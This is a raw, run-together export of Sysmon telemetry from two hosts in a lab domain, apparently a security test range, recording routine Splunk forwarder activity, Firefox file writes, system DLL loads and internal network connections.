14:59:21.675{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000051770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000051769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.678{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000051768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.675{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E13F750868B7AA65DA08E61DFF5CB0BB,SHA256=374EDAAFEE39740153B6347A8BECFF2683A6E88E8CEBF1EA6B7FE70F394D380E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016518Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:21.333{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F42E90DFF5F29AEBC223C2A9A22FA59A,SHA256=881BF021133DA8B158707D816F311700A89FA9A325F5F048FAB0B72129762A97,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:18.453{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59595-false10.0.1.12-8000- 734700x800000000000000051766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.007{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000051765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:21.007{7BD73061-72C8-613B-660B-00000000F001}63842780C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000051764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:20.991{7BD73061-72C8-613B-660B-00000000F001}6384C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 23542300x800000000000000051821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:22.903{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D60F7AEF92409202B83B88AD6E93432,SHA256=94DC0875F6FDCCDAB208302651A7E4B17A1B27B6FE6C82202332004B661AF0DE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016519Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:22.347{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=932CCD64DE5B3001F058906680F39E3E,SHA256=0AB6B3C95DBEEEE254B9A1A327AE6B75339F29D937DCEB3F4B71D36C6C3560BD,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000051820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:22.098{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000051819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:22.095{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000051818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:22.094{7BD73061-72C9-613B-670B-00000000F001}2228C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000051831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.924{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=979CB29C3D3586A41AFEADEC2B5AD77B,SHA256=E5FE6FC33DB43BB519F0F4961C47CA4392C827593A09F3B2B0BA386BBB71EE48,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016521Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:23.363{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5664CD518B195A018513A76BDD63CE37,SHA256=159C5D7DEBD85205417E7BA44EC49822FAD0AEB97C27D242E12C87D224FF5DE4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.839{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.839{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.824{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.824{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.739{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\saved-telemetry-pings\61d7f470-2ff3-45f9-b019-7649391fc3b8MD5=D29C8977F12BDCB5A19BB720A9AB8343,SHA256=3921F6FDBC720D2BB4BB8B04E81D62F9D888E2F569CDFDF054C448E3F37542EE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.708{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\ProgramData\Mozilla\uninstall_ping_308046B0AF4A39CB_ddc535bf-1419-401b-bb29-d187a2b10bcf.jsonMD5=875CCEC94A6BCBDFF50083F775B82921,SHA256=15C26733C5A2D9D0CBDCBB22892ED5EAB0D8015FDDEC3E03D9AE16DB2ACD26F3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.454{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000051823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.454{7BD73061-65B2-613B-1000-00000000F001}364NT AUTHORITY\LOCAL SERVICEC:\Windows\system32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\FontCache-Obsolete-781.datMD5=A403605A8D78C8AAB44A3F0FFD7F60D5,SHA256=B5227773B362117ADFD2790871096F5D895DCBD2F6CF316D1E1142D544EBD852,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.407{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\session-state.jsonMD5=A962A2AD11F05C571E985516CE9D449A,SHA256=F653B3B84EB1CF0D50CD7C7EB93F29EA0FA6E4095520A7DEBB9BB8A400CD3094,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016520Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:21.434{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50298-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000051832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:24.939{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F12FFC0F1D63BCB1FD5AAEB45A5475F1,SHA256=379F49C843D1231AE58F6EB490C44349E76E3A8D3CD1AE5DA959E134F06F5140,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016522Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:24.394{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7318174A1956C9FD159584D9B8BD46F,SHA256=71D03CE444CC35469D85BFA3DD76B47BA1865336EAB870D18353E68F07B36FCF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:25.969{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2CCD692DD160FFD8BB39D868619FFCD,SHA256=8E79927BA25380C3EECE1A6AA09F0493AE8D0179CF43DB0B898D1E3786D80847,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016523Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:25.394{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A3A45A659F84AC169024FBFEFFB6258,SHA256=580FAD74982E97B02607E5C32571158F429622B8F82FF4DEA968AAA900F93062,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.494{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55757- 23542300x800000000000000051836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:26.969{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D5C8A2EB5F9BFF95BB69D6A2A6089CD1,SHA256=8CCE333910230C8E9E5049BA20475357EF7544397CD53D30B97046C08914798B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016524Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:26.410{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00063CC9437AC2E5ED9E5D730A2173A8,SHA256=2388CA481B148DA9A8ECF0CB8D776A3036DEED40D5B39664A80DB6C189D73643,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000051835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:23.507{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59596-false10.0.1.12-8000- 23542300x800000000000000051837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:27.984{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3BEAA45884FF0B62BADF6A8C9E941088,SHA256=8D78217EC87621E9B8357E46418755DAF7580F490B5071FA370135338772A1EF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016525Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:27.441{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1CA0DEC11F6B29A09CED42CD54AA1E3,SHA256=5363C7AD69F6622E460056D65E619D0F0C61B5D20AAAFC1CC8E3B4A29DBCFB3F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016527Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:28.457{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B3B0F15F0D782A5F17EA3DD4BE83621D,SHA256=718CC3BDDABF1FD91CA9BD23EB7EDD123FB6F031065E1D4F745F09B7A95ADEBE,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016526Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:26.435{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50299-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016528Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:29.472{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D793DFB4BBD4A455968AA95F94BC7AD7,SHA256=0DC557CB252B100771A4F5F984C4F5DA6B1AB21C9070098D61DEA8096E116AE4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:29.851{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:29.001{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=262687DABC6ECB0A573D6CB1651012CA,SHA256=B0F0A24E3609AA034D18BFADD2D5E3F8ACDC11FF2856385F5B54258B05DD4FF7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016529Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:30.472{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8A88BC06926AB7EB72E92073C33F8D0C,SHA256=FB2A789E9E329346F42E601AA0548CA3A44C91966E6ECE1BEA23D270879522C5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000051840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:59:30.051{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=088122AA77A921AC144C5E0C93C52A32,SHA256=7CDB6871319CB30AAF4255EAD8B7F2EA3E34E60CE89FE1170DAC4C9AB51ED339,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016543Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:59:31.683{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-72D3-613B-FE04-00000000F101}328C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 